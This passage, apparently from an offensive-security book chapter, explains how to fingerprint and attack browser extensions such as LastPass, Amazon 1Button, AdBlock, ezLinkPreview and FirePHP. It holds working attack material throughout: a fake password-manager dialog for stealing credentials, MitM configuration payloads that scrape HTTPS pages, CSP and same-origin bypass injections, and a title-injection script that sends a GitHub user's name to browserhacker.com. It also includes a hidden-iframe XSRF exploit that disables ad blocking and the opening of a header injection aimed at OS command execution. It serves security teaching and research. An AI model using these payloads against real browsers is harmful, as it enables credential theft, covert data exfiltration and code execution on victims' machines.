The extension also embeds JavaScript into the bottom of the DOM. In either case, there are now traces in the DOM that expose the presence of the extension to other scripts or elements. As discussed in Chapter 6, fingerprinting browser attributes through examining the DOM is an effective method, and in the instance of LastPass, this is no different. There is one caveat for LastPass, though; if the HTML does not include any forms, LastPass will not modify the DOM. This is apparent within the onloadwff.js file. This condition exists just before the DOM altering code:

if(b != "acidtests.org" &&

a.getElementById("hiddenlpsubmitdiv") == null &&

a.forms.length > 0) {

This if statement checks that the current page is not acidtests.org, that the DOM doesn’t already contain the hiddenlpsubmitdiv script, and finally, that there is at least one HTML form. If the page includes a form, the DOM is modified, and the presence of LastPass can be determined through the following JavaScript:

var result = "Not in use or not installed";

var lpdiv = document.getElementById('hiddenlpsubmitdiv');

// Check for the div first

if (typeof(lpdiv) != 'undefined' && lpdiv != null) {

result = "Detected LastPass through presence of the <script>

tag with id=hiddenlpsubmitdiv";

// Use JQuery to search inside script elements for the presence of lastpass_iter

} else if ($("script:contains(lastpass_iter)").length > 0) {

result = "Detected LastPass through presence of the embedded <script>

which includes references to lastpass_iter";

} else {

if (document.getElementsByTagName("form").length == 0) {

result = "The page doesn't seem to include any forms - we can't tell if

LastPass is installed";

}

}

First, the JavaScript checks for the script element discussed earlier. If that’s not found, it will then proceed to check for the embedded JavaScript. Finally, the script will update the result variable if there are no forms in the page.

Using the absence or presence of DOM properties gives you a reliable way to fingerprint the extensions in the browser. The DOM properties that are the telltales will depend entirely on the target.

Firebug Example

Firebug can be installed as an extension or a script (Firebug Lite). Let’s use Firebug as an example to go over how to detect slight extension differences. Once you discover the extension is installed, you’ll want to confirm that it is actually the extension and not the Lite version. This can be tricky, because they create a lot of the same properties in the DOM. However, you come armed with the knowledge of a property that is unique to the Lite version.

To detect the Firebug extensions, use the following DOM properties: !!window.console.clear, !!window.console.exception, and!!window.console.table. If they all return true, the browser has Firebug installed and active.

A test that is unique to Firebug Lite is !!window.console.provider. If you want to confirm that the extension is not the Lite version, you’ll need that last test to return false.

Fingerprinting using the Manifest

In the past, the extensions really helped you out when trying to fingerprint them. Google Chrome extensions based on manifest version 1 permitted access to all files of the extension and could easily be reached by their URL: chrome-extension://<guid>/path/to/file.txt. Because all extensions need to have a manifest.json file, knowing the GUID would allow you to simply request the following URL:

chrome-extension://abcdefghijklmnopqrstuvwxyz012345/manifest.json

But that was then; this is now. Now you need to do a little more work to fingerprint the extension using the files in the manifest. In manifest version 2, Google made no extension resources accessible by default.

Of course, some extension developers rely on their resource to be accessible for correct functionality. Google created a new array called web_accessible_resources in the manifest.json file. This array lists resources that can be accessed via a URL. The following snippet from the manifest file shows an example array being declared, making logo.png, menu.html, and style.css accessible:

{

{

"name": "extensionName",

"version": "versionString",

"manifest_version": 2

},

"web_accessible_resources": [ "logo.png", "menu.html", "style.css" ]

}

With this fictitious extension, the following URL can access the logo.png resource:

chrome-extension://abcdefghijklmnopqrstuvwxyz012345/logo.png

Hence, you need just two pieces of information to fingerprint your target extension. The first is GUID, which is covered in a moment. The other piece of information is which resources (if any) are defined in the web_accessible_resources array.

Luckily for you, most extensions have at least one file declared in web_accessible_resources. Knowing the resource, next you need to discover the extension’s GUIDs (32-character strings). You can achieve all this information trivially by scraping content from the Chrome Web Store.

You can do this manually or by using publicly available tools such as XSS ChEF26 from Kotowicz. It will download and unpack extensions from the Chrome Web Store, so you can use it to scan the manifest.json files and build your Chrome extension fingerprinting database from there.

Now that you have your Chrome extension resource database, you’ll need to run some code in the hooked browser to probe for that resource. Use the earlier logo.png resource to create the following code:27

var testScript = document.createElement("script");

testURL = "chrome-extension://abcdefghijklmnopqrstuvwxyz012345/logo.png";

testScript.setAttribute("onload", "alert('Extension Installed!')");

testScript.setAttribute("src", testURL);

document.body.appendChild(testScript);

You can extend this code to iterate through your database of extensions and very quickly fingerprint target extensions.

The methods examined in the previous sections will give you insight into what extensions are available for you to target. Research into attacking extensions is still expanding so be sure to keep up-to-date with new techniques.

Attacking Extensions

There will be many avenues to attack a target and these will depend intimately on the functionality of the extension. An understanding of what is accessible from the attacker’s position is important.

Vulnerabilities can result due to the developers creating interfaces that can easily be replicated in the web page origin, lack of encryption, improper validation, and more. Let’s jump straight in and explore some real-world examples.

Impersonating Extensions

By this stage you might be wondering why you would want to steal someone’s password. Why steal a password when, instead, you can just inject a hook, piggyback on a victim’s session, and impersonate them without ever having to type in a password?

We touched briefly on stealing passwords using social engineering techniques in Chapter 2 and Chapter 5, but what wasn’t covered was just how serious the password reuse issue is. In 2011 Joseph Bonneau28 researched the issue of password reuse by analyzing password hashes disclosed from hacks against Gawker and rootkit.com. His research, while only comparing a relatively small subset of users present in both systems, conservatively estimated that password reuse occurred in about 30 percent of instances.

Even if this figure is an overestimation, you would be fooling yourself if you thought a lot of users didn’t reuse their passwords for certain systems. One of the common approaches to addressing the issue of password reuse is by using unique and potentially random passwords for every site you visit. This, of course, then introduces a whole other set of problems.

Impersonating the LastPass Extension

How does the average Joe maintain all these unique passwords? Writing all the passwords down on a piece of paper that is kept secure is one option; and potentially a sound option depending on how well the piece of paper is protected. Password management software is another approach, one that has slowly been gaining traction as more and more offerings have made their way online. Of course, another factor that has likely been driving the popularity of these applications is the issue of password breaches and impacts of password reuse coming under the media spotlight. The LinkedIn breach of 2012 highlighted the issue of password security for millions of users.29 Perhaps the initial question for an attacker shouldn’t be why would you want to steal a password, but instead, why steal one password when you can steal access to all passwords used by a victim?

But what does this have to do with extensions? Well, a common feature of many password management software suites includes integration with web browsers. In fact, some products use browser extensions as their primary method of access.

LastPass is one such option, and one of the more popular online password management software packages available.30 In this instance online refers to the fact that LastPass stores encrypted copies of your passwords on its systems, allowing them to be synchronized between multiple browsers or devices over the Internet.

So are these online password systems safe? One method to attack them is through employing social engineering techniques. In the instance of Chrome, extensions that require UI interactions often use innocuous frames that appear to come out of the extensions button. Figure 7-12 shows the LastPass authentication dialog box.

Figure 7-12: LastPass extension in Chrome

image

Unfortunately, apart from the minor indicators, such as the triangle on the top-right leading into the LastPass button, not many indicators validate the integrity of the dialog box. Unlike HTTPS, which includes padlock icons, modified address bars, and other queues that users are starting to get attuned to, Chrome’s extension UI elements don’t offer these. You can impersonate this dialog box by displaying a new DIV element, or even a new IFrame. An example of this is shown in Figure 7-13.

Figure 7-13: Fake LastPass dialog box

image

Comparing Figure 7-13 to Figure 7-12, you can see that the missing visual cues are very minor. Combining this with other social engineering techniques, such as a subtle notification window, may be enough to trick victims into divulging their LastPass credentials. From there, it is a simple case of using a key logger (as described in Chapter 5) to easily retrieve them. These credentials may then be used to access the victim’s LastPass account, potentially opening the doors to all their passwords.

Cross-context Scripting

Cross-context Scripting (XCS), sometimes referred to as Cross-zone Scripting,31 is an extension attack vector that allows instructions to be sent from an untrusted zone to a trusted zone.32 Typically, the attack smuggles JavaScript instructions from the Internet zone to the privileged chrome:// zone.

What does that really mean? XCS occurs when a website on the Internet successfully manages to inject code into the chrome:// zone of a browser extension. When the instructions execute, they run with all the privileges of the extension component they were injected into. This provides you with a method to execute privileged commands on your target.

Recall the browser extension security models explored earlier in this chapter. Firefox has a very flat model, whereas Chrome has two main levels of privileges separated by a security boundary.

On the background-page side of the Chrome extension security boundary, the components have been fortified with the CSP. However, on the other side of the boundary, the components (the content scripts) missed out on the same defenses. Content scripts run in the context of the web pages the browser visits. They can read and write the DOM of their associated page. This direct interaction with the web page has the effect of giving these components the greatest attack surface. This, along with their execution in a semi-privileged context, makes them worthy of your attention.

You’ll need to craft your attacks differently depending on your target extension architecture. So let’s jump straight in and explore some of the things you can do with XCS in browser extensions.

Man-in-the-Middle Attacks

Using data in the extension that has been loaded from a remote location potentially provides an opportunity for you as the attacker. The server could be compromised or the content could be loaded using the cleartext HTTP protocol and used without sufficient validation.

Don’t forget about the Man-in-the-Middle (MitM) attacks discussed in Chapter 2, which allowed you to take control over cleartext communication channels and supply your own data. This is where they can come into play again and provide a way to achieve XCS.

Some extensions will include remote content from the Internet directly into the trusted chrome:// zone. This could be part of the core extension functionality or be an unintended vulnerability introduced due to insufficient input filtering. Where and how the untrusted data is used will depend on the extension you are targeting.

In Firefox extensions, you should look out for key indicators. Searching through the unpacked source code for the following functions can assist you in identifying this class of vulnerability:

· window.open()

· window.opendialog()

· nsIWindowWatcher()

· XMLHTTPRequest()

If any of these functions are called from the chrome:// zone with untrusted user input, you may well have just discovered a vulnerability. There is a possibility that you may be able to inject JavaScript with dangerous consequences. This will depend on how the Firefox extension uses the data and if you can find ways to smuggle your instructions in.

The same was true in Chrome extensions until Google enforced manifest version 2. Now the Content Security Policy disallows the loading of scripts over HTTP and only allows loading of whitelisted scripts over HTTPS.

But don’t forget, where there is a will there is a way. The following (edited) code is from a discussion on the Stack Overflow33 forum:

function loadInsecureScript(url) {

var x = new XMLHttpRequest();

x.onload = function() {

eval(x.responseText); // <-- Security Hole

};

x.open('GET', url);

x.send();

}

loadInsecureScript('http://browservictim.com/insecure.js');

The forum response also details what is needed in the manifest.json file:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",

"permissions": ["http://browservictim.com/insecure.js"],

"background": {"scripts": ["background.js"] }

To the forum participants’ credit, they point out the massive insecurities presented by using this code. There should be lots of alarms sounding for any developer who implements code that even resembles this.

Regardless of why the vulnerability exists in an extension, this insecure data transmission frequently leads to XCS.s If these communications travel over unencrypted HTTP, then a MitM attack (as explored in Chapter 2) will, at minimum, probably allow you to influence the execution of the privileged chrome:// zone.

Whether a MitM attack leads to command injection will depend on how the data is used. Let’s quickly explore an example that didn’t lead to XCS, but due to how the extension used the data, there were other ways to attack the target.

Man-in-the-Middle Attack Example

The Amazon 1Button App Chrome extension34 provides a good example of a MitM vulnerability. The extension is fundamentally a web scraper and tracking mechanism. It reports all HTTP and HTTPS URLs visited to alexa.com, and for chosen websites it also reports parts of the content. This includes Google searches that are performed over HTTPS.

To be remotely configurable without the need to upgrade the extension code, Amazon decided to configure the extension via content script including certain JavaScript files. The mechanism in version 3.2013.627.0 of this extension was to retrieve the following files:

· http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat

· http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js

You have likely spotted that they are retrieving the content over HTTP, but more on that later. The httpsdatalist.dat file defines the list of HTTPS pages to eavesdrop on. The configuration content can be seen in the following snippet:

[

"https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]"

]

The search_conf.js file describes what elements should be extracted off visited web pages to report them to Alexa. The following snippet will give you a taste of what is going on:

{

"google" : {

"urlexp" :

"http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)",

"rankometer" : {

"url":"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/",

"reload": true,

"xpath" : {

"block": [

"//div/ol/li[ contains(

concat( ' ', normalize-space(@class), ' ' ),

concat( ' ', 'g', ' ' )

)]",

"//div/ol/li[ contains(

concat( ' ', normalize-space(@class), ' ' ),

concat( ' ', 'g', ' ' )

)]",

"//div/ol/li[ contains(

concat( ' ', normalize-space(@class), ' ' ),

concat( ' ', 'g', ' ' )

)]"

],

"insert" : [

"./div/div/div/cite",

"./div/div[ contains(

concat( ' ', normalize-space(@class), ' ' ),

concat( ' ', 'kv', ' ' )

)]/cite",

"./div/div/div/div[ contains(

concat( ' ', normalize-space(@class), ' ' ),

concat( ' ', 'kv', ' ' )

)]/cite"

],

"target" : [

"./div/h3[ contains(

concat( ' ', normalize-space(@class), ' '),

' r '

)]/descendant::a/@href",

"./h3[ contains(

concat( ' ', normalize-space(@class), ' '),

' r '

)]/descendant::a/@href",

"./div/h3[ contains(

concat( ' ', normalize-space(@class), ' '),

' r '

)]/descendant::a/@href"

]

}

},

...

},

...

}

The scraped website contents matching XPath expressions in the search_conf.js file are reported to http://widgets.alexa.com. These are shown in the previous configuration content.

Figure 7-14 is a screenshot showing mitmproxy35 intercepting the communication to http://widgets.alexa.com.

Figure 7-14: Man-in-the-Middle traffic with the 1Button extension

image

However, there’s another glaring vulnerability. Remember the configuration URLs? You will notice that they are fetched over HTTP and not HTTPS. This makes them vulnerable to a MitM attack too!

Let’s say you use MitM techniques to replace httpsdatalist.dat with the following code:

["https://"]

You will also use the following code when middling the search_conf.js request:

{

"pwn" : {

"urlexp" : "http(s)?:\\/\\/",

"rankometer" : {

"url" :"http(s)?:\\/\\/",

"reload": true,

"xpath" : {

"block": [

"//html"

],

"insert" : [

"//html"

],

"target" : [

"//html"

]

}

},

"cba" : {

"url" :"http(s)?:\\/\\/",

"reload": true

}

}

}

Using this attack, the extension will report (to Alexa) the DOM node contents of all HTTPS websites. This was achieved even without the need to inject instructions into the privileged context. All that you changed was the configuration, which resulted in you observing all the requests the user is making due to your MitM position.

Bypassing Web Application CSP

There is one conspicuous Chrome extension component that misses out on CSP protection. The web application can employ CSP by including the HTTP header X-Content-Security-Policy in the response. The extension background page also has CSP by default. The component missing this protection is the content script.

That is right; the Chrome extension content script has no CSP protection at all. This makes for an obvious target to get around any pesky CSP restrictions implemented by the web application developers. Let’s explore how you can use this component to do your bidding.

For this example, let’s use the http://content-security-policy.com origin. If you load the URL you can look at the headers related to CSP. These are shown in the following example:

X-Content-Security-Policy: default-src 'self' www.google-analytics.com

netdna.bootstrapcdn.com ajax.googleapis.com;

object-src 'none'; media-src 'none'; frame-src 'none'; connect-src 'none';

The first thing to note for this example is the absence of the unsafe-eval directive. This means that when you attack this origin, you can’t leverage the eval function (or its friends, as discussed in Chapter 3) to achieve your ends. Well, that is unless you have a vulnerability in one of your target’s content scripts.

The following vulnerable content script is one you’ll use for this CSP bypass example:

// Get bhh URL parameter

var bhh = document.location.href.split('bhh=')[1];

if (typeof bhh == 'string') {

eval(bhh); // eval the parameter

}

It has the following manifest file that only uses content scripts in your target http://content-security-policy.com origin:

{

"name": "Browser Hacker's Handbook CSP Bypass Example",

"version": "1.0",

"description": "Browser Hacker's Handbook CSP Bypass Demonstration",

"homepage_url": "http://browserhacker.com",

"permissions": [

"http://content-security-policy.com/*"

],

"content_scripts": [

{

"all_frames": true,

"js": [

"cs.js"

],

"matches": [

"http://content-security-policy.com/*"

],

"run_at": "document_end",

"all_frames": true

}

],

"manifest_version": 2

}

Now with your content script vulnerability in hand, let’s bypass the CSP control placed in the HTTP headers from the website:

http://content-security-policy.com/#bhh=

eval(alert('Browser Hacker\'s Handbook'))

When your target browser loads the preceding URL, it will circumvent the CSP. You will see that an eval is injected into the content script and runs your alert box within the origin. Figure 7-15 shows the returned CSP headers and the successful execution of the eval function.

Figure 7-15: Website CSP Bypass in a Chrome Extension

image

You have successfully bypassed the CSP set by a web application through a vulnerability in a Chrome extension. More specifically, you have exploited a vulnerability in a content script, which has no protection given to it by CSP.

Achieving Same Origin Policy Bypass

You may remember that Chrome content scripts have more privileges than the standard Internet zone. They do not have a vast number of extra privileges, but there is one you will be interested in. It is the ability to read the responses from cross-origin requests. That is powerful by itself, but it gets better. When the request is sent cross origin, the headers include any cookies that are associated with that origin. You guessed it: the cookie will include any authenticated session tokens, too.

A content script can operate in many ways, and there will be varying situations depending upon its purpose. In a lot of cases, the content script will be interacting with the DOM. Hence, the DOM will often form part of the attack surface.

Attacking an extension’s content scripts is very similar to exploiting classic DOM XSS. The good news here is you can reuse all your DOM XSS knowledge to exploit extensions.

For successful exploitation, the content script needs to grab your data and use it within the privileged context. The exact place in the DOM will depend on the extension being targeted. However, the <title> element is usually a safe bet, because a lot of extensions fetch content from the <title>element.

Just using your data from the DOM in the content script is not enough to have it execute. To exploit the content script, the extension must use your data in an eval function, in an innerHTML assignment, and so on. The following code from a vulnerable content script will be used to demonstrate the vulnerability:

function do_something(title) {

// do something with the page title

}

var title = document.title;

window.setTimeout("do_something(\"" + title + "\")", 500);

The vulnerability in the content script is due to the insecure usage of the page title. Having hooked a browser, you can send it commands to load another origin. If you instruct it to load an origin under your control, you have full control over the title property. You can send any title you like to the target browsers. Let’s say you send a page with the following HTML:

<HTML>

<HEAD>

<TITLE>");

var xhr = new XMLHttpRequest();

xhr.open("GET", 'https://github.com/settings/profile/', true);

xhr.onreadystatechange = function() {

if (xhr.readyState == 4) {

github_settings_page = xhr.responseText;

var name_regexp = /<input type="text" value="(.*)" tabindex="2"\/>/g;

var name_arr = name_regexp.exec(github_settings_page);

name = name_arr[1];

new Image().src = "http://browserhacker.com/" + encodeURI(name);

};

};

xhr.send();

a=("</TITLE>

</HEAD>

<BODY>

Browser Hacker's Handbook Extension SOP Bypass Example

</BODY>

</HTML>

By sending this page, you have managed to inject your code into the chrome:// zone. The content of title is passed to the setTimeout function, which is executed after a small delay.

In this instance, your instructions are executing on the low privileged side of the security boundary; that is, in the content script and not in the background page. From this semi-privileged position you can still send cross-origin requests to any origin listed in the extension’s match patterns.

The exploit code sends a cross-origin request to https://github.com to request the settings page of the already authenticated user. Once it gets the response, it extracts the user’s name and sends it to http://browserhacker.com. Obviously, this is a very simplistic payload and there is much more that you could do.

Figure 7-16 shows the extension being exploited using the HTML shown earlier. You can see the title in the tab showing some of the injection code and in the console, a GET request containing the GitHub username, which in this case was Wade Alcorn.

Figure 7-16: SOP Bypass in a Chrome extension

image

Like any DOM XSS vulnerability, the art is in finding a vulnerable function that uses your unfiltered data. However, this time you need to find such a function in extension code rather than a web application.

Same Origin Bypass Example

The Chrome extension ezLinkPreview36 version 5.2.2 is a good example that illustrates the Same Origin Bypass in the wild. By peering at the code, you can see the following function:

function GetURLDocumentTitleJQ(url) {

var ezPageTitle = url; //default the title to the URL

$.ajax({

url: url,

async: true,

success: function(data) {

try {

var matches = data.match(/<title>(.*?)<\/title>/);

var title = matches[1];

if (title != null && title.length > 0) {

ezPageTitle = title;

}

} catch (err) {}

var scr = 'ezBookmarkOneClick("' + url + '", "' + ezPageTitle + '");';

chrome.tabs.executeScript(null, {code: scr});

},

Looking closely you’ll notice the GetURLDocumentTitleJQ function is not executed in the content script at all. It is actually executed in the background page. Before we get into the reason why, let’s examine what the GetURLDocumentTitleJQ function is doing.

The function makes an XHR to the URL specified in the url parameter. When it receives the response, it extracts any text between <title> and </title> tags and juggles some data. Next, it calls the chrome.tabs.executeScript37 function using the title value.

The title value is not being filtered in any way before it is executed in the chrome.tabs.executeScript function. This is what creates the vulnerability in this extension.

The payload to exploit this extension could take many forms. The following injection code is overly simplistic, but it provides a good illustration of a helpful first step when investigating an extension vulnerability:

<title>anything"+console.log(1)+"</title>

To launch your exploit, the victim browser must call GetURLDocumentTitleJQ to request your malicious page. Of course, this is how it is going to expose the vulnerability to you. One more step is needed in this case, because the vulnerable function is called only when the user chooses to add the current page to Google Bookmarks. An element of social engineering will be in order to get the user to choose the triggering context menu item. You explored various social engineering techniques in Chapter 5; it might be a good time to flick back and have a quick refresh.

The GetURLDocumentTitleJQ function is called from the background page. You might think that it is being run on the privileged side of the security boundary. So why does the injected code execute in the context of a content script? The answer lies in the usage of the executeScript function. It injects JavaScript into pages, and when the second parameter has a code property, it creates a whole new content script with the passed code.

When this extension is exploited, it creates a new content script with your injected instructions. This new content script then runs on the unprivileged side of the Chrome extension security boundary. It will have less impact than a full-blown extension vulnerability, but you can still use it to bypass the Same Origin Policy.

In this example you have seen how it is possible to use a vulnerable extension to bypass the SOP. The techniques shown here will be useful to you in exploiting similar issues in other extensions.

Universal Cross-site Scripting

Extensions can introduce XSS vulnerabilities into the browser even when the web application alone cannot be exploited. It is worth remembering that the browser and the web application have a symbiotic relationship, and it is that relationship that is being exploited here.

Viewing an origin while using a vulnerable extension may result in that origin effectively adopting that vulnerability. Of course, the web application doesn’t become vulnerable for all visitors, but just this specific browser and web application relationship.

This doesn’t make much sense when looking at the traditional types of XSS. When an XSS vulnerability is present in a browser extension, it can potentially be exploited on every web page that the browser loads.

The following code is from a content script in a Chrome extension that contains a vulnerability. You may recognize it from an earlier example. The vulnerability can be exploited by adding JavaScript to the bhh parameter.

// Get bhh URL parameter

var bhh = document.location.href.split('bhh=')[1];

if (typeof bhh == 'string') {

eval(bhh); // eval the parameter

}

The extension has the following manifest file, which instructs Chrome to run the content script in all origins as specified by <all_urls>:

{

"name": "Browser Hacker's Handbook UXSS Example",

"version": "1.0",

"description": "Browser Hacker's Handbook Universal XSS Demonstration",

"homepage_url": "http://browserhacker.com",

"permissions": [

"<all_urls>"

],

"content_scripts": [

{

"all_frames": true,

"js": [

"cs.js"

],

"matches": [

"<all_urls>"

],

"run_at": "document_end",

"all_frames": true

}

],

"manifest_version": 2

}

Figure 7-17 shows how the vulnerable content script has introduced an XSS vulnerability into every web page the browser views.

Figure 7-17: SOP Extension Universal XSS in Chrome

image

Figure 7-17 has arrows pointing out the injection, the resulting alert dialog box, and the HTTP request that doesn’t contain the exploit. You can see that the vulnerability works like a DOM XSS vulnerability. That is, by using the # in the URL, the browser won’t send that character and anything after it to the web server. By putting your exploit after the #, it won’t show up in logs and potentially won’t be detected by web application firewalls.

Don’t forget about the match patterns used in extensions. If the extension is using a broad match pattern, then every origin that fits the pattern will have the vulnerability too. This is especially important if the match pattern is http://*/*, *://*/*, or <all_urls>.

Cross-site Request Forgery

Cross-site Request Forgery (XSRF) has been discussed in earlier chapters and is covered in greater detail in Chapter 9. Remember that in a lot of circumstances it is possible to consider an extension a virtual web application. It stands to reason, therefore, that an extension can suffer from the same (or similar) vulnerabilities.

Recall that in an earlier “Fingerprinting Using the Manifest” section in this chapter, the web_accessible_resources parameter was explored. It is the parameter in the manifest.json files that whitelists what resources in the extension can be accessed:

{

{

"name": "extensionName",

"version": "versionString",

"manifest_version": 2

},

"web_accessible_resources": [ "logo.png", "menu.html", "style.css" ]

}

That means the resource will be reachable from any web page. If the previous snippet were in the manifest.json file, the following URL would be accessible:

chrome-extension://abcdefghijklmnopqrstuvwxyz012345/menu.html

Under certain conditions, just loading a resource triggers some side effects and performs actions within the underlying extension. Some of these actions may prove crucial to extension security.

Imagine a fictitious extension that, when loading a whitelisted UI page, reads a configuration parameter from the GET request. When it completes loading (including processing your supplied parameter), critical configuration data is stored in LocalStorage.

Let’s just emphasize that the page has been whitelisted in the web_accessible_resources parameter. This is important because that means any web page can include it in an <iframe>. Loading the IFrame with that specially crafted URL will result in arbitrary content in that fictitious extension’sLocalStorage object.

This is similar to traditional client-server application CSRF attacks, because the processing begins without any validation of the request source.

Cross-site Request Forgery Example

In the previous section we discussed a fictitious example. Well, this wasn’t exactly true. There is at least one Chrome extension (with manifest version 1) that has been vulnerable to XSRF in the past and it was actually a pretty popular one. It has more than a million users.

The Chrome AdBlock extension38 version 2.5.22 is used for, surprisingly enough, ad-blocking. One of its features is to subscribe to a filter list downloaded from a given URL.

There was an XSRF vulnerability39 in a filter subscription page within the extension resources. Launching the following URL, which ended up executing within the chrome:// zone, triggered the subscription functionality:

chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html

The instructions executed upon loading the subscribe.html resource are in the subscribe.js script.40 The relevant content41 is provided in the following code:42

// Get the URL

var queryparts = parseUri.parseSearch(document.location.search);

...

// Subscribe to a list

var requiresList = queryparts.requiresLocation ?

"url:" + queryparts.requiresLocation : undefined;

BGcall("subscribe",

{id: 'url:' + queryparts.location, requires:requiresList});

This code shows the execution flow that produces the vulnerability. The first line of code parses the search part of a URL into a hash that gets stored in the queryparts variable. The last line of code subscribes AdBlock to the value that was originally stored in the location parameter in the request. It could have been something like location=http://browserhacker.com, which would have subscribed to a filter from http://browserhacker.com. Hence, the full resulting URL would be the following:

chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages

/subscribe.html?location=

http://browserhacker.com

Now that you have seen how the vulnerability works, let’s put together the exploit. You need to create an IFrame, having it load the subscribe.html extension resource and passing the filter you want it to load. In this case, you’ll want the filter to whitelist all URLs.

<iframe style="position:absolute;left:-1000px;" id="bhh" src=""></iframe>

//...

var url = "chrome-extension://";

url += "gighmmpiobklfepjocnamgkkbiglidom";

url += "/pages/subscribe.html?";

url += "location=http://browserhacker.com/list.txt";

document.getElementById('bhh').src = url;

Using this code, the target browser will create an IFrame that will load the resource. It will pass the http://browserhacker.com/list.txt value to the BGcall extension function that will, in turn, load it.

There is only one more step you need to do. You need to return the whitelist to the extension. So put list.txt on your server with the following content and AdBlock will be disabled:

[Adblock Plus 0.7.5]

@@*$document,domain=~whitelist.all

It is important to reiterate that this vulnerability was with manifest version 1. For a successful attack using current Chrome extensions (using manifest version 2), the requested resource must be listed in the web_accessible_resources parameter:

"web_accessible_resources": [ "img/icon24.png",

"jquery/css/images/ui-bg_inset-hard_100_fcfdfd_1x100.png",

"jquery/css/images/ui-icons_056b93_2.6.440.png",

"jquery/css/images/ui-icons_d8e7f3_2.6.440.png",

"jquery/css/jquery-ui.custom.css",

"jquery/css/override-page.css" ]

The manifest for version AdBlock 2.6.4 does not contain the subscribe.html string in the web_accessible_resources as you can see from the previous code. Don’t forget to check the manifest.json file before attempting to launch this class of attack on your target extension.

Attacking DOM Event Handlers

Communication between the chrome:// zone and untrusted zones of the Firefox browser is also possible through DOM events. The extension will often have an event listener in the chrome:// zone that waits for input from a web page. When the event is triggered, it will perform whatever action is required on the received information.

It is up to the extension developer to validate whether the content that is interacting with the handler is authorized. Even if it isn’t authorized, the extension may allow for the script to be injected into the chrome:// zone, resulting in any protection being bypassed.

Attacking Drag and Drop

Firefox supports a drag-and-drop action through the use of a number of event handlers: dragstart, dragenter, dragover, dragleave, drag, drop, and dragend. Images, text, links, and DOM nodes can be dragged from one part of the page to another, or in some cases, directly into an extension.

An important note to remember is that when an HTML element with attributes or a DOM node is dragged in this way, all properties, attributes, and methods are copied to the new location. This is of specific concern when the element is dragged into the chrome:// zone. A previously innocuous image with a JavaScript onLoad handler can, once dragged and dropped into the privileged zone, execute without restriction:

<img src="http://browserhacker.com/exploit.gif" onload="your_javascript">

For example, the preceding image tag will load the image into the web page and execute the onload code in the unprivileged browser context. Then if your victim drags the image into the chrome:// zone, the onload code will execute once again. This time when the DOM event handlers run theonload function, it will have elevated privileges.

Nick Freeman discovered a very similar vulnerability in the ScribeFire43 Firefox extension. This extension allows users to post to their blogs from any origin. The vulnerability was within the way users would drag images (from arbitrary origins) to the chrome:// zone. Just like in the previous example, ScribeFire would allow you to smuggle your instructions into the onload function to have them execute in the privileged context.

Exploitation of DOM events requires careful examination of how the extension is handling input from the user. Ultimately, the goal is the same as the other discussed methods; to gain arbitrary JavaScript execution in the chrome:// zone.

Achieving OS Command Execution

Once you have an XCS vulnerability, it may be possible to leverage it to execute arbitrary operating system commands. This means that you can potentially smuggle your commands into the chrome:// zone and execute commands as if you’re typing them at the command line. However, before we get to that, let’s first explore an example of how to launch operating system commands on Firefox.

Firefox Remote Command Execution Example

As mentioned previously, how you exploit the target extension depends entirely on how the developers have implemented it. Extensions can use HTTP headers to guide their execution flow, which ultimately puts HTTP headers firmly in your cross hairs.

The FirePHP Firefox extension grabs some of the headers returned from the server and uses them to decide what to present in the Firebug console. The presence of the custom headers will be very obvious if you can intercept the response from the server. The following headers show some of the HTTP headers that the FirePHP extension is looking for:

HTTP/1.1 200 OK

Date: Thu, 08 Aug 2013 14:18:44 GMT

Server: Apache

Last-Modified: Fri, 29 Mar 2013 22:45:39 GMT

ETag: "401b9-0-4d91807c0760e"

Accept-Ranges: bytes

Content-Length: 0

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2

X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/

Library-FirePHPCore/0.3

X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1

X-Wf-1-1-1-1: 29|["Browser Hacker's Handbook"]|

You will notice in the headers that the string Browser Hacker's Handbook has been inserted. Examining Figure 7-18, you can see that the string has been displayed in a dialog box. This gives you confirmation that the headers do, in this instance, form part of the extension’s attack surface.

Figure 7-18: FirePHP displaying data from server

image

Now let’s delve into an extension vulnerability discovered by Eldar Marcussen.44 The vulnerability affects all FirePHP versions up to 0.7.1 and you can download it from https://addons.mozilla.org/en-US/firefox/addon/firephp/versions. You will need to install it via the Install Add-on From File option in the Extensions tab.

Now that you have the freshly installed vulnerable extension, it is time to set up the environment. Make sure the Net tab is enabled in Firebug, enter the following code in the console, and click Run:

console.log('Exploit FirePHP start')

xhr = new XMLHttpRequest();

xhr.open("GET","http://browserhacker.com/",true);

xhr.send();

console.log('Mouseover FirePHP array to finish')

This code sends an XHR request to http://browserhacker.com, which will simulate an opportunity to attack your victim. FirePHP looks for key headers in the response and where the vulnerability is located. You are particularly interested in the X-Wf-1-1-1-1 header, which when parsed will launch the exploit. This is the header that you need to smuggle your instructions into. If you can craft the response header correctly, your operating system commands will be executed.

For this demonstration, you want to intercept the HTTP communication using a proxy and inject the exploit into the response. Simply use your favorite real-time proxy and add the target FirePHP headers (identified by X-Wf).

The following headers will launch the calculator application on OSX:

HTTP/1.1 200 OK

Date: Wed, 07 Aug 2013 00:27:48 GMT

Server: Apache

Last-Modified: Fri, 29 Mar 2013 22:45:39 GMT

ETag: "401b9-0-4d91807c0760e"

Accept-Ranges: bytes

Content-Length: 0

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2

X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/

Library-FirePHPCore/0.3

X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1

X-Wf-1-1-1-1: 476|{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5",

"6":"6","7":"7","8":"8","9":"9","UR<script>var lFile=Components.classes

[\"@mozilla.org/file/

local;1\"].createInstance

